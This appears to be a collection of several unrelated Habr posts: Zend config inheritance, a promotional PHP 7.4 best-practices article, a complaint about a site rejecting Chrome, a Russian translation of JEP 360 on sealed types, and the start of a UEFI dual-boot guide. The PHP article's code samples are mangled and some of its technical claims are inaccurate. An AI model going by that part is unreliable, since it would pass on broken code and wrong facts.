**Общий конфиг проекта — config.common.ini**:
`[production]
resources.db.adapter = "PDO_MySQL"
resources.db.params.dbname = "system"
resources.db.params.username = "root"
resources.db.params.password = ""
phpSettings.display_startup_errors = 0
phpSettings.display_errors = 0
[development : production]
phpSettings.display_startup_errors = 1
phpSettings.display_errors = 1`
**Мой личный конфиг — config.ini**:
`[production]
[development : production]
resources.db.params.dbname = "system_laggyluke"
resources.db.params.username = "laggyluke"
resources.db.params.password = "mySecretPassword"`
**Пример реализации наследования конфигов**:
> `// загружаем общий конфиг
>
> // третий аргумент true означает, что конфиг не будет открыт в режиме read-only
>
> $config = new Zend\_Config\_Ini('config.common.ini', 'development', true);
>
> // проверяем, существует ли личный конфиг
>
> if (file\_exists('config.ini')) {
>
> // если существует - загружаем его...
>
> $configCustom = new Zend\_Config\_Ini('config.ini', 'development');
>
> // ...и сливаем два конфига в один
>
> $config->merge($configCustom);
>
> }
>
> // возвращаем конфиг в режим read-only, на всякий случай
>
> $config->setReadOnly();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Общий конфиг config.common.ini хранится в СКВ и любые новые настройки, которые добавляются в него, сразу же попадают ко всем разработчикам. В то же время, каждый разработчик может переопределить любую настройку в своём личном config.ini, который игнорируется СКВ.
Из минусов такого подхода могу отметить только то, что в личном конфиге приходится перечислять все секции, которые были объявлены в общем конфиге. Но лично для меня это не составляет особой проблемы, потому что их список меняется крайне редко, а чаще — никогда.
Разумеется, эта идея не нова и я точно помню, что где-то такой подход уже встречал.
Просто я очень удивился, что столь удобный прием не описан в официальной документации, а значит может быть неизвестен многим девелоперам.
**UPD.**
[stfalcon](https://habrahabr.ru/users/stfalcon/) подсказал, что [нечто подобное](/blogs/zend_framework/61090/#comment_1692136) уже реализовано в Zend\_Application, начиная с версии 1.8.2.
|
https://habr.com/ru/post/61090/
| null |
ru
| null |
# PHP Best Practices to Follow in 2020
Web development trends seem to be heading more towards server-side scripting languages over client-side scripting languages. And it can be difficult to decide where to start and what to choose.
This year [W3techs.com](https://w3techs.com/technologies/history_overview/programming_language), a web technology survey portal, released a list of the five most in-demand server-side programming languages for web development.
**Here is the list:**
* PHP
* Java
* ASP.net
* Ruby
* Static files
The majority of sites are built on PHP (approx. 78.9%), but some of them are made in ASP.net (10.6%), Java (3.7%), Python (1.3%), Ruby (3%) or just in JavaScript (0.8% — however, these don't have a database).
**Clearly, PHP holds the majority. So let's learn more about it.**
PHP was developed with built-in web development capabilities. The new language features included in PHP 7.4 make it easier for programmers to enhance the speed of their web applications significantly without deploying additional resources.
Unfortunately, PHP version 5.6, 7.0, and 7.1 are no longer officially supported. But approximately 64% of WordPress sites are still running on those outdated versions.
The good news? Programmers can switch to the most recent version of this widely used server-side scripting language to improve the load speed of their websites without putting in too much extra time and effort.
### How I Approached Modern PHP Development
When I first started learning PHP I was using Joomla. Then I moved to open source frameworks with PHP version 4. I was especially interested in the open-source framework Symfony, which has improved the PHP ecosystem drastically. I also became more interested in PHP version 7.1 in particular while working on an e-CMS project (PIMCore version 5.8.6) which was quite challenging.
On top of that, it’s a very stressful task, since the core management team expect a lot from you for the task on an open-source project. Back then, PHP version 7.1 is the latest version and is more efficient than version 5 and can deliver a huge performance up to 4X faster than older versions.
A faster website built on PIMCore version 5.8.6 and version PHP 7.1 will be rewarded by search engines. I have used it, so [Syncrasy Tech PIM Solution Provider](https://syncrasytech.com/) site will rank higher in search!
Let's dive into PHP best practices and the advantages of upgrading to the newest PHP version 7.4.
### PHP Best Practices To Follow in 2020
#### 1. Always Use PSR- 12 recommendations For Error-Free Coding
I have always used PSR-12 (PHP Standard Recommendations) instead of the WordPress coding standard. It is one of the most substantial standards that is also used by the PHP frameworks Symfony and Laravel. It covers everything from parentheses to control structures, methods, indentation, line length, and coding rules about how many gaps a programmer can leave between different code structures.
This is mainly because WordPress standards are obsolete and don't support any of the newer language features. Using modern PHP PSR-2 features is also a good practice.
#### 2. Make Your Code Concise and Readable With the Twig Template
[Twig](https://twig.symfony.com/) is the best example of a PHP template engine. It is used by Symfony. In Twig, the code is more concise and readable, and it supports output escaping and template extension using inheritance and blocks. Twig is also great performance-wise, as it compiles to PHP templates and has no overhead. It is limited to templating only. It allows you to remove business logic from templates and enforces separation of concerns.
It’s really easy to learn for developers because Twig doesn’t have many functions, and the base code is HTML. So if you know HTML, you just need a few more functions and you’re good to go with Twig template.
Twig has a clever mechanism of template assembly. It compiles templates into simple PHP classes and stores the result in the cache files. Thus, Twig does not parse templates twice.
Twig is so flexible that it can easily be extended according to your choice. It allows you to edit the tags, use parentheses instead of curly braces, redefine the class, add a new filter, function, or test, etc.
**Below is an example of coding in the Twig Template:**
```
foreach ( $options as $option ) {
?>
|
php echo esc\_html( strtolower( $option-option\_name ) ); ?>
|
php
} // End foreach</code
```
```
{% for option in options %}
|
{{ option.option\_name }}
|
{% endfor %}
```
#### 3. Composer Acts As a Dependency Manager
A composer is a tool that allows you to declare libraries in a project that you are using. It is a dependency manager for PHP that automates downloads, installations, and updates. You need to include the Composer’s autoload file vendor/autoload.php for each library.
It is important to use dependency management to avoid conflicts at the application level. WordPress plugins and themes don’t use third-party libraries because of the extensive API that fills almost any need.
Let's think about it this way: suppose two plugins require the same PHP library but they're using different versions of it.
The plugin that runs first gets the correct version – but the second plugin also gets that same version. This possibly creates conflicts at the application level. Composer is the only solution that doesn't create conflicts when using third-party libraries.
#### 4. Use 'Namespaces' To Avoid Name Collision
WordPress uses a global namespace. This means that any classes or functions declared globally are visible anywhere in the whole codebase. Naming conflicts lead to errors, and we don't want that.
For example, naming collisions happen when you declare a function with a name that already exists. So instead of using simple Class names like Order, I can make it something like:
```
Syncrasy_Get_My_Plugin_Order
```
where “Syncrasy” is the unique prefix that I just made up.
Namespaces help to organize code and avoid name collision. You can also use complex namespaces, for example, those separated with a slash.
My example
```
class Syncrasy_Get_My_Plugin_Order
```
would be Syncrasy\\_Plugin\Order if done using namespaces. Here syncrasy and Get\_My\_Plugin are sub-namespaces and Order is the class name. You can add a use statement and use only the class name afterward.
**See how it looks:**
```
use Syncrasy\Get_My_Plugin\Order;
$a = new Order;
```
#### 5. Always Use the Autoloader Function in PHP
In my development project, most PHP workflows form by using require or include statements. But I need to add more require statements in the main plugin file.
An autoloader is a function that automatically includes files and does so only when needed. The main benefit is there is no need to add any require statements manually anymore.
With an autoloader function, you know in which file your classes and functions live. For that, you can work on the [PHP-FIG](https://www.php-fig.org/) and [PSR-4 autoloader tool](https://www.php-fig.org/psr/psr-4/).
**An example class
```
Syncrasy\GetMyPlugin\Models\Order
```
would need the folder structure below:**
```
/get-my-plugin
get-my-plugin.php
/includes
/Models
Order.php
```
#### 6. Use Arrow Functions For Better & Cleaner One-Liner Functions
Functions in PHP tend to be lengthy, even when performing simple operations. This is due to a large amount of syntactic boilerplate, and because you need to manually import used variables. This makes PHP code that uses simple closures confusing to read and even harder to understand.
If you use arrow function syntax, you can have a variety of functions such as variadics, default values, parameter and return types, as well as by-reference passing and returning. All while maintaining clean, readable code.
**Below is an example of Arrow Function Syntax in PHP 7.4:**
```
array_map(function (User $user) {
return $user->id;
}, $users)
PHP 7.4 allow you write this code in this way:
array_map(fn (User $user) => $user->id, $users)
```
#### 7. Foreign Function Interface: a Simple Way to Call Native Functions
One of the best and most long-awaited features of PHP 7.4 is FFI (Foreign Function Interface) support.
PHP 7.4 FFI comes along with TLS 1.3 (Transport Layer Security) for OpenSSL streams, a preload feature, PHP FPM system (Fast Process Manager) for better optimization of codes, and so on.
**What's New in TLS 1.3?**
Transportation Layer Security (TLS) 1.3 protocol provides better privacy and performance standards compared to previous versions of TLS.
TLS 1.3 reduces latency, optimizes code performance and security of your encrypted connections using OpenSSL streams. The rapid adoption of Cloudflare TLS 1.3 in all modern browsers for e.g., Microsoft Edge started supporting TLS 1.3 with version 76 and draft version of TLS 1.3 was enabled in Firefox 52 that allow building a safer and faster web and also influencing the web development standards.
**What's New in PHP FPM?**
The primary benefit of using PHP-FPM in your coding task is having more efficient «PHP handling» and the ability to use «opcode caching» for PHP scripts.
PHP-FPM’s is built on an event-driven framework that allows PHP scripts to use as much of the server’s resources without using the additional overhead that comes from running them inside of web server processes.
[PHP-FPM](https://www.php.net/manual/en/install.fpm.php) can reuse worker processes repeatedly instead of having to create and terminate them for every single PHP request. PHP-FPM can serve more traffic than traditional PHP handlers while creating greater resource efficiency.
**Let's Continue with FFI Best Practices**
If you use PHP FFI moving forward you should have less of a need to write new PHP modules for interfacing with C libraries/programs. This can now can be done using the foreign function interface.
If you need to run resource-intensive code, you can use a foreign function interface for the task — extensive parsing, number crunching, complex rendering, etc. You can «glue» two code bases together inside a single program without using two entirely different programs. Programmers can have a good C-ABI library readily available with FFI extension. It will save your time, as you don't need to rewrite code in PHP.
FFI also provides performance boosts to your coding task. Python has become one of the most popular languages for machine learning because of FFI because it makes Python codes relatively simple to load and allows using powerful C-ABI libraries in Python using FFI extension.
#### 8. Preloading in PHP 7.4 (One of My Favorites)
Let’s talk about Preloading. When using libraries or frameworks in PHP, the code files need to be linked properly and they need to load on every request.
With a feature like Preloading, programmers can load frameworks and libraries into the OPCache, which allows the server to load the PHP files and store them in memory. This is all about making your code perform efficiently and quickly!
Preloading is run by a specific php.ini directive or opache.preload. It has the script compiler that executes when the server starts working. It can also be used to preload more files or compile them.
```
php.ini function
```
This feature is awesome to use, as the preloaded files always remain cached in OPCache memory forever.
### Why You Should Upgrade To PHP 7.4?
According to [WordPress.org](https://wordpress.org/about/stats/) statistics, 36.4% of WordPress sites are still on PHP 5.6. Let that sink in.
This means websites that continue to use PHP 5.6 could be exposed to vulnerabilities. And in many cases, it’s up to developers to get these sites upgraded.
I know this can be a time-consuming task for a developer using older plugins and themes. Updating to the latest version of PHP involves updating your code along with extensive testing to ensure compatibility. After all, you don’t want to break your users' sites.
This means that if you want your site running on the latest version of PHP, you’ll need to take the initiative and upgrade it yourself or get someone from your site developer or hosting provider to do it.
Upgrading to PHP 7.4 comes with benefits of speed, performance, and security. As mentioned above, it has a lot of new features. Let's look at some of them more in-depth now.
**The FFI (Foreign Function Interface)**
This is a completely new extension that opens up new ways of development. For example, it can be used with machine learning and similar technologies. Just keep in mind – it is still in the experimental phase.
**Preloading**
Preloading is also quite useful as it allows the loading of PHP classes or functions directly into the memory.
For example, when I try to run a program in PHP, it makes me work faster. It is better than the usual auto-loading approaches.
This is an extremely important feature for web developers as it has the long-term potential to be used instead of auto-loading in certain cases.
Overall, it's a different experience now of compiling PHP codes with the FFI extension. It also opens up a whole new world of possibilities for PHP developers beyond the web.
#### Speed and Performance
If your site is running on an older version of PHP, updating to the latest version of PHP will give you immediate performance gains.
All functions and most classes will be permanently loaded into PHP's function and become permanently available in the context of any future request and improve code performance.
* PHP 7.4 helps resolve class dependencies and links with the parent, interfaces, and traits. This is something that doesn't happen with the older version of PHP or Opcode caching).
* PHP removes unnecessary codes and performs other optimizations.
* By having the code for an entire application, including its framework (such as Symfony, and Laravel) preloaded into memory, most applications will perform significantly better.
#### Support and Compatibility
Working on old software is costly and can be risky in terms of adding new features and performance enhancement features to your products—and supporting older versions of PHP holds them back.
PHP has always been known for its ease of coding, which is one reason why it’s a popular language for many new web developers. To help with this, many aspects of PHP 7.4 attempt to steer new developers in the right direction. It does this by removing poorly written, outdated functions previously kept in for backward compatibility reasons.
With the adoption of PHP 7.4, you should begin to see a higher standard of PHP coding. In turn, this should also help PHP become more respected as a development language, attracting talent that has otherwise avoided it.
#### Security
Another fundamental reason why you should upgrade to PHP 7.1 or newer is the security of your WordPress site. Running the latest version of PHP ensures that your site is protected against vulnerabilities like, for example, Code execution, SQL injection, Cross-Site Scripting or XSS, and many other types of vulnerabilities out there.
**[Code injection vulnerabilities](https://owasp.org/www-community/attacks/Code_Injection)** occur where the content served from a web application can be manipulated in such a way that it triggers server-side code execution. In some poorly written Web applications that allow users to modify server-side files, it is sometimes possible to inject code in the scripting language of the application itself.
**[Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/)** is a client-side code injection attack. The attacker aims to execute malicious scripts in a web browser of the victim by including malicious code in a legitimate web page or web application.
[**SQL injection (SQLi)**](https://en.wikipedia.org/wiki/SQL_injection) is a type of injection attack that makes it possible to execute malicious SQL statements. These statements control a database server behind a web application. Attackers can use SQL Injection vulnerabilities to bypass application security measures.
**Sounds amazing, right? All you need to do is upgrade to the latest version of PHP. But first...**
#### Checking For PHP Compatibility
Updating to the latest version of PHP has many benefits, as we just discussed. However, before you go and update it, make sure you check what version of PHP your website is using. You should also check your site’s compatibility with the latest version of PHP.
If you are not sure which version of PHP you're using, here's how you can check: just install this free [Display PHP Version plugin](https://wordpress.org/plugins/display-php-version/). It can be downloaded from the WordPress plugin repository.
Once you've installed it, simply activate it and it will display your website's version of PHP (you can find it in the “At a Glance” option in the WordPress dashboard).
### Final Words
Best practices for PHP have always been about improving the developer experience. In general, you have to fully understand all the benefits and drawbacks of any project before committing to work on it. Modern PHP development concepts give you a true and easy way of writing software.
So, turbocharge your website with PHP's latest version. If you need help upgrading to PHP 7.4, or with auto-scaling, performance issues, website development, or security, let me know and I'd be happy to provide feedback.
|
https://habr.com/ru/post/486898/
| null |
en
| null |
# OMG!!! И они хотят конкурировать в вебе, не поддерживая Chrome?!
`Устаревший или неподдерживаемый веб-обозреватель
Ваш веб-обозреватель Chrome не поддерживается системой КонсультантПлюс.
Для работы с системой КонсультантПлюс вы можете воспользоваться **MS Internet Explorer версии 6.00** и выше (установить отсюда) или Mozilla Firefox версии 3.5 и выше (установить отсюда).
Техническое описание вашего веб-обозревателя
Скорость загрузки данных с сервера
JavaScript Успех
Хост base.consultant.ru
Веб-обозреватель Mozilla/5.0 (X11; **Linux x86\_64**) AppleWebKit/535.7 (KHTML, like Gecko) Ubuntu/11.10 Chromium/16.0.912.77 Chrome/16.0.912.77 **Safari/535.7**
Тип веб-обозревателя Ошибка
Платформа **Linux i686**
Cookie Успех
XMLHTTP Успех
XMLDOM Успех
JS Session Storage Успех
JS Persistent Storage Успех`
Я, конечно, понимаю сложность кроссбраузерной вёрстки и JS-программирования, но не настолько же, чтобы отвергать браузер на основе его типа, а не потому что он не поддерживает Cookie, XMLHTTP, XMLDOM, JS Session Storage и JS Persistent Storage, которые для них, похоже, ключевые. Зато знают где установить IE 6 для Linux i686 (хотя вообще браузер говорит, что он на Linux x86\_64 крутится и прикидывается даже Safari) — выделено жирным.
А я думал солидная фирма…
[Пруф](http://www.google.ru/url?sa=t&rct=j&q=%D0%B3%D0%BA%20%D1%80%D1%84%20%D1%87%D0%B0%D1%81%D1%82%D1%8C%204&source=web&cd=1&sqi=2&ved=0CC8QFjAA&url=http%3A%2F%2Fwww.consultant.ru%2Fdocument%2Fcons_doc_LAW_122998%2F&ei=BBUzT-e8Hqbd4QSn5sygBQ&usg=AFQjCNFoEmMuxh3mEa59eOQQSIYfgHKg7g&sig2=6eXxqWdbiw1-ymm-69fa6Q)
Интерсно, кто ещё ~~не определится~~ устарел или не поддерживается?
|
https://habr.com/ru/post/137878/
| null |
ru
| null |
# JEP 360: Sealed Types (Preview)
В то время, как половина мира заточилась в самоизоляции, [ходят слухи](https://mail.openjdk.java.net/pipermail/amber-dev/2020-April/005784.html), что Java 15 может присоединиться к флешмобу. Если в Бельгии [нельзя размножаться людям](https://pikabu.ru/story/v_belgii_zapretili_gruppovoy_seks_izza_koronavirusa_7312720), то почему классы должны наследоваться бесконтрольно, разве это справедливо?
Задача этого JEP — описать улучшение языка программирования Java, новую фичу под названием «sealed types» (изолированные типы). Изолированные типы — это такие классы и интерфейсы, которые могут запрещать наследовать или реализовывать себя.
Цели и задачи
=============
* Дать автору типа контроль над тем, какой код будет реализовывать этот тип;
* Предоставить механизм ограничений на использование суперкласса, более декларативный по сравнению с модификаторами доступа;
* Поддержать развитие паттерн-матчинга, создав фундамент для полного анализа паттернов.
Не является целью
=================
* Не предполагается делать новые способы контроля доступа, вроде `friend`;
* Никак не предполагается менять работу `final`.
Мотивация
=========
Иерархия классов Java поддерживает наследование как мощнейшую технологию переиспользования кода. Методы суперкласса можно унаследовать в подклассах. Тем не менее, задачи иерархии классов не всегда ограничиваются переиспользованием кода. Иногда, цель иерархии — моделирование различных ситуаций из предметной области, вроде разных видов геометрических фигур в графических библиотеках, или всевозможных видов займов из финансовых приложений. Когда иерархия классов используется таким способом, возможность ограничить набор подклассов может упростить моделирование.
Например, в графической библиотеке, автор класса Shape может подразумевать, что только лишь определенный набор классов может наследоваться от Shape, поскольку большая часть работы этой библиотеки — обеспечить правильную отрисовку каждого конкретного типа фигуры. Автор заинтересован в чистоте кода, который обрабатывает каждый из известных подклассов Shape, и совершенно не интересуется защитой от неизвестных подклассов Shape. Разрешать произвольным классам наследовать Shape, используя наследование ради переиспользования кода, для этого разработчика совершенно неинтересно. К сожалению, Java всегда заботится о переиспользовании: если Shape может наследовать хоть кто-то, его могут наследовать все на свете. Полезно было бы ослабить требования: что если автор сможет описать иерархию классов, которую нельзя будет наследовать с помощью каких-то других произвольных классов. Переиспользование кода никуда не денется, но будет работать только внутри этой "закрытой" иерархии классов, и ни шагу дальше.
Java-разработчики хорошо знакомы с идеей ограничения набора подклассов, поскольку это всегда вылезает в дизайне API. Инструменты языка тут довольно ограничены: можно или сделать класс `final`, и у него не будет подклассов, или сделать класс (или его конструтор) package-private, и тогда наследники у него возможны только внутри того же самого пакета. Пример того, как package-private суперклассы используются в JDK (реальные примеры можно самостоятельно поглядеть в OpenJDK):
```
package java.lang;
abstract class AbstractStringBuilder {...}
public final class StringBuffer extends AbstractStringBuilder {...}
public final class StringBuilder extends AbstractStringBuilder {...}
```
Подход с package-private полезен, когда наша цель — обеспечить переиспользование кода, вроде подклассов `AbstractStringBuilder`, что-то добавляющих к коду родителя. Тем не менее, подход этот бесполезен при моделировании альтернатив, поскольку ключевая абстракция — суперкласс — не может использоваться в пользовательском коде. Невозможно дать пользователям доступ до суперкласса без того, чтобы разрешить им ещё и наследоваться от него! (Даже внутри графической библиотеки, которая определяет Shape и его подклассы, довольно неприятно, когда лишь один пакет может использовать Shape).
В итоге хочется, чтобы суперкласс мог быть доступен отовсюду для использования (он является важной абстракцией для пользователей), но недотупен для наследования (набор подклассов должен быть ограничен лишь теми, о ком знает автор). Такие суперклассы должны уметь явно показать всем, что они предназначены для использования только вместе с конкретным набором классов-наследников. Это нужно как для читателя кода (чтобы осознать намерения автора), так для компилятора Java (чтобы проверить правильность использования). С другой стороны, этот суперкласс не должен излишне ограничивать свои подклассы, например, заставив всех использовать `final` или отказаться от хранения собственного состояния.
Подробности
===========
Изолированный класс или интерфейс можно наследовать или реализовывать только тем классам и интерфейсам, которым это разрешили.
Класс запечатывается применением модификатора `sealed` прямо в определении класса. После всех extends-ов и implements-ов, отдельный список `permits` перечисляет классы, которым разрешено наследоваться от этого изолированного класса. Например, следующее определение класса Shape описывает три возможных подкласса:
```
package com.example.geometry;
public sealed class Shape
permits Circle, Rectangle, Square {...}
```
Классы, описанные в `permits` должны находиться рядом с суперклассами: или в том же модуле (если суперкласс находится в именованном модулей), или в том же пакете (если суперкласс не находится в именованом модуле). Например, в следующем определении Shape, все разрешенные подклассы хоть и находятся в разных пакетах, но сгруппированы в один и тот же модуль:
```
package com.example.geometry;
public sealed class Shape
permits com.example.polar.Circle,
com.example.quad.Rectangle,
com.example.quad.simple.Square {...}
```
Если эти разрешенные подклассы очень небольшие (по количеству кода и по количеству в штуках), может оказаться удобным определить их в том же файле исходника, что и сам изолированный класс. В таком случае, в изолированном классе можно не писать `permits`, компилятор Java сам поймёт и выведет список разрешенных подклассов из определений в этом исходнике (то есть, auxilliary и nested классы). Например, в следующем коде из файла Shape.java компилятор найдет один изолированный класс Shape с тремя выведенными разрешенными подклассами:
```
package com.example.geometry;
sealed class Shape {...}
... class Circle extends Shape {...}
... class Rectangle extends Shape {...}
... class Square extends Shape {...}
```
И вот теперь можно в пользовательском коде использовать внутри цепочки `instanceof` без необходимости добавлять общий `catch`:
```
Shape rotate(Shape shape, double angle) {
if (shape instanceof Circle) return shape;
else if (shape instanceof Rectangle) return shape.rotate(angle);
else if (shape instanceof Square) return shape.rotate(angle);
}
```
К сожалению, компилятор Java не может проверить, покрывают ли проверки на `instanceof` все разрешенные подклассы Shape. Например, если пропустить `instanceof Rectangle`, никакой ошибки компиляции не произойдет.
Реальные преимущества изолированных типов проявляются в сочетании с паттерн-матчингом. Вместо того, чтобы проверять каждый экземпляр класса конструкцией if-else, пользовательский код делает свич по экземплярам, используя паттерны проверки из [JEP 375](https://openjdk.java.net/jeps/375). Это позволяет компилятору Java понять, что произошел полный (exhaustive) охват вариантов. Например, в нижеследующем коде компилятор делает вывод, что охвачены все разрешенные подклассы Shape, и поэтому не нужно описывать ветку `default`. Более того, компилятор выдаст ошибку компиляции, если хоть один из трёх вариантов потеряется:
```
Shape rotate(Shape shape, double angle) {
return switch (shape) {
case Circle c -> c; // no action needed
case Rectangle r -> r.rotate(angle);
case Square s -> s.rotate(angle);
}
}
```
Sealed class накладывает три ограничения на разрешенные подклассы (те, что перечислены в списке `permits`):
1. Каждый разрешенный подкласс должен быть доступен из изолированного суперкласса во время компиляции. Подклассы не должны быть одинаково доступны ни между собой, ни повторять уровень доступа до изолированного суперкласса. В частности, подкласс может быть менее доступен, чем изолированный суперкласс. То есть, существует ситуация, когда пользователь не сможет полностью перебрать все варианты в свиче, кроме как прибегая к `default` (или другому всеохватывающему паттерну). Компилятор Java в этом случае постарается понять, что написанное пользователем не отражает намерение перебрать все варианты, и посоветует добавить вариант `default`;
2. Каждый разрешенный подкласс должен напрямую наследовать изолированный класс;
3. Каждый разрешенный подкласс должен выбрать модификатор, показывающий, собирается ли он продолжать процесс изоляции, инициированный своим суперклассом.
* Разрешенный подкласс может быть описан как `final` чтоб запретить дальнейшее наследование на этом участке иерархии классов;
* Разрешенный подкласс может быть описан как `sealed`, позволяя этой части иерархии продолжать цепочку наследования дальше, чем это предвидел суперкласс, но в безопасном стиле;
* Разрешенный подкласс может быть описан как `non-sealed`, и тогда этот участок иерархии возвращается к старой схеме — он открыт для наследования неизвестными подклассами. (Родительский изолированный класс не может запретить разрешенным подклассам заниматься такими фокусами).
Примеры всех трех модификаторов:
```
package com.example.geometry;
public sealed class Shape
permits Circle, Rectangle, Square {...}
public final class Circle extends Shape {...}
public sealed class Rectangle extends Shape
permits TransparentRectangle, FilledRectangle {...}
public final class TransparentRectangle extends Rectangle {...}
public final class FilledRectangle extends Rectangle {...}
public non-sealed class Square extends Shape {...}
```
На каждый из разрешенных подклассов можно применить один и только один из модификаторов `final`, `sealed` и `non-sealed`. Класс не может одновременно быть `sealed` (подразумевается, что есть подклассы) и `final` (подразумевается, что подклассов нет). Или одновременно `sealed` (подразумеваются ограниченные подклассы) и `non-sealed` (подразумеваются неограниченные подклассы). Или одновременно `non-sealed` (подразумевается наличие подклассов) и `final` (подразумевается отсутствие подклассов).
Модификатор `final` можно считать сильной формой изоляции, в которой наследование или реализация полностью запрещены. Концептуально, `final` эквивалентен `sealed` + `permits` с пустым списком разрешенных подклассов. Заметьте, что такой пустой `permits` в Java будет написать нельзя.
Изолированные интерфейсы
========================
Интерфейсы изолируются точно так же, как и классы — применением модификатора `sealed`. Сразу же после перечисления суперинтерфейсов в списке `extends`, нужно описать ещё и `permits`.
```
package com.example.expression;
public sealed interface Expr
permits ConstantExpr, PlusExpr, TimesExpr, NegExpr {...}
public final class ConstantExpr implements Expr {...}
public final class PlusExpr implements Expr {...}
public final class TimesExpr implements Expr {...}
public final class NegExpr implements Expr {...}
```
Изолированные типы и записи (records)
=====================================
Изолированные типы хорошо работают с записями ([JEP 359](https://openjdk.java.net/jeps/359)), превью которых появилось в Java 14. Записи неявно являются final, поэтому изолированная иерархия записей выглядит немного более лаконично, чем примеры выше:
```
package com.example.expression;
public sealed interface Expr
permits ConstantExpr, PlusExpr, TimesExpr, NegExpr {...}
public record ConstantExpr(int i) implements Expr {...}
public record PlusExpr(Expr a, Expr b) implements Expr {...}
public record TimesExpr(Expr a, Expr b) implements Expr {...}
public record NegExpr(Expr e) implements Expr {...}
```
Изолированные типы и записи вместе иногда называют [алгебраическими типами данных](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%B5%D0%B1%D1%80%D0%B0%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%82%D0%B8%D0%BF_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85). Записи позволяют записывать [типы-произведения](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%BF-%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5), а изолированные типы — [типы-суммы](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%BF-%D1%81%D1%83%D0%BC%D0%BC%D0%B0).
Изолированные типы в JDK
========================
В качестве примера изолированных типов можно использовать пакет `java.lang.constant package`, моделирующий дескрипторы сущностей в JVM:
```
package java.lang.constant;
public sealed interface ConstantDesc
permits String, Integer, Float, Long, Double,
ClassDesc, MethodTypeDesc, DynamicConstantDesc {...}
// ClassDesc предназначен для наследования только классами JDK
public sealed interface ClassDesc extends ConstantDesc
permits PrimitiveClassDescImpl, ReferenceClassDescImpl {...}
final class PrimitiveClassDescImpl implements ClassDesc {...}
final class ReferenceClassDescImpl implements ClassDesc {...}
// MethodTypeDesc предназначен для наследования только классами JDK
public sealed interface MethodTypeDesc extends ConstantDesc
permits MethodTypeDescImpl {...}
final class MethodTypeDescImpl implements MethodTypeDesc {...}
// DynamicConstantDesc предназначен для наследования пользовательским кодом
public non-sealed abstract class DynamicConstantDesc implements ConstantDesc {...}
```
Грамматика языка Java
=====================
```
NormalClassDeclaration:
{ClassModifier} class TypeIdentifier [TypeParameters]
[Superclass] [Superinterfaces] [PermittedSubclasses] ClassBody
ClassModifier:
(one of)
Annotation public protected private
abstract static sealed final non-sealed strictfp
PermittedSubclasses:
permits ClassTypeList
ClassTypeList:
ClassType {, ClassType}
```
Компиляция
==========
Несмотря на то, что `sealed` — модификатор класса, в структуре ClassFile нет флага ACC\_SEALED. Вместо этого, класс изолированного типа имеет аттрибут `PermittedSubtypes`, который неявно указывает на наличие модификатора `sealed` и явно перечисляет элементы списка разрешенных типов:
```
PermittedSubtypes_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 permitted_subtypes_count;
u2 classes[permitted_subtypes_count];
}
```
Если в определении изолированного типа в исходнике нет `permits`, тогда `PermittedSubtypes` вычисляется в момент компиляции, и в него попадают те подтипы изолированного типа, что определены в той же единице компиляции, что и изолированный тип.
Классфайл разрешенного типа не имеет никаких новых аттрибутов.
Рефлексия
=========
В `java.lang.Class` предлагается добавить следующие публичные методы:
* `java.lang.constant.ClassDesc[] getPermittedSubtypes()`
* `boolean isSealed()`
Метод `getPermittedSubtypes()` возвращает массив, содержащий объекты `java.lang.constant.ClassDesc`, описывающие все разрешенные подтипы класса, если он изолирован, иначе — возвращает пустой массив.
Метод `isSealed` возвращает `true`, если соответствующий класс или интерфейс является изолированным (посмотрите на `isEnum`).
Альтернативы
============
Есть языки с прямой поддержкой алгебраических типов данных (ADT), например, data в Haskell. Может быть, можно описать ADT более явным образом и так, чтобы это было интуитивно понятно Java-разработчикам. Например, с помощью чего-то похожего на enum, где сочетание элементов можно определять одной строчкой, внутри одной декларации. К сожалению, такой подоход не покрывает все полезные сценарии (например, когда элементы находятся в разных единицах компиляции).
Условие `permits` позляет изолированным типам, таким как Shape в примерах в этой статье, быть доступными-для-вызова из кода, находящегося в любом модуле, но доступными-для-реализации только в модуле изолированного класса (или в том же пакете в unnamed module). Это делает систему типов более выразительной, чем систему контроля доступа. Имея только контроль доступа, если Shape доступна-для-вызова кодом в любом модулей (потому что его пакет уже экспортирован), Shape также доступен-для-реализации в любом модулей. И если Shape не доступен-для-реализации в любом другом модуле, тогда Shape также не доступен-для-вызова в любом другом модуле.
---
Переводы JEP-ов публикуются при поддержке JUG Ru Group и конференции [JPoint](https://jpoint.ru/?utm_source=habr&utm_medium=498494). Теперь билеты на JPoint можно приобрести вместе с абонементом на все 8 конференций сразу ([подробности — на странице регистрации](https://jpoint.ru/registration/?utm_source=habr&utm_medium=498494)). И всё это на удалёнке!
|
https://habr.com/ru/post/498494/
| null |
ru
| null |
# Настройка UEFI Dual Boot системы, приправленной rEFInd
*КДПВ. [Бут-менеджер rEFInd](http://www.rodsbooks.com/refind/) с темой оформления [Regular](https://github.com/munlik/refind-theme-regular/).*
На сегодняшний день практически все уже слышали про технологию UEFI. Говорить о том, что это такое и зачем оно нужно, я не собираюсь. Сегодня я бы хотел описать простейший сценарий установки Dual Boot системы с полной поддержкой UEFI, а также рассмотреть отдельно установку и настройку бут-менеджера rEFInd. Возможно вы уже видели подобные мануалы и гайды, но я постараюсь донести весьма доходчиво суть того, что мы будем делать и зачем. В других мануалах вы лишь смотрите за «магией» картежника и пытаетесь её повторить, делая, зачастую, элементарные ошибки. Кому эта тема интересна — прошу под кат.
В целом UEFI призвана наоборот упросить процесс загрузки, а не усложнить его. К примеру, посредством этой технологии компьютер можно загружать ОС и вовсе без прослойки в лице GRUB / LILO / etc, загрузчиком может выступать сама UEFI. Однако этот метод имеет свои недостатки, например, вам придется повозиться после обновления ядра, можно, разумеется, написать скрипт, но в целом этим и занимается `grub2-efi`
Итак, давайте сформируем примерный список наших действий, некоторым хватит прочесть его и уже взяться за дело. Собственно тут будет всего **четыре** пункта. **Пятый и шестой пункт опционален.**
1. Запись образа Windows 10 (8/8.1) на диск/флешку.
2. Установка Windows 10 на часть диска.
3. Запись образа Linux-дистрибутива с поддержкой EFI (большинство) на диск/флешку.
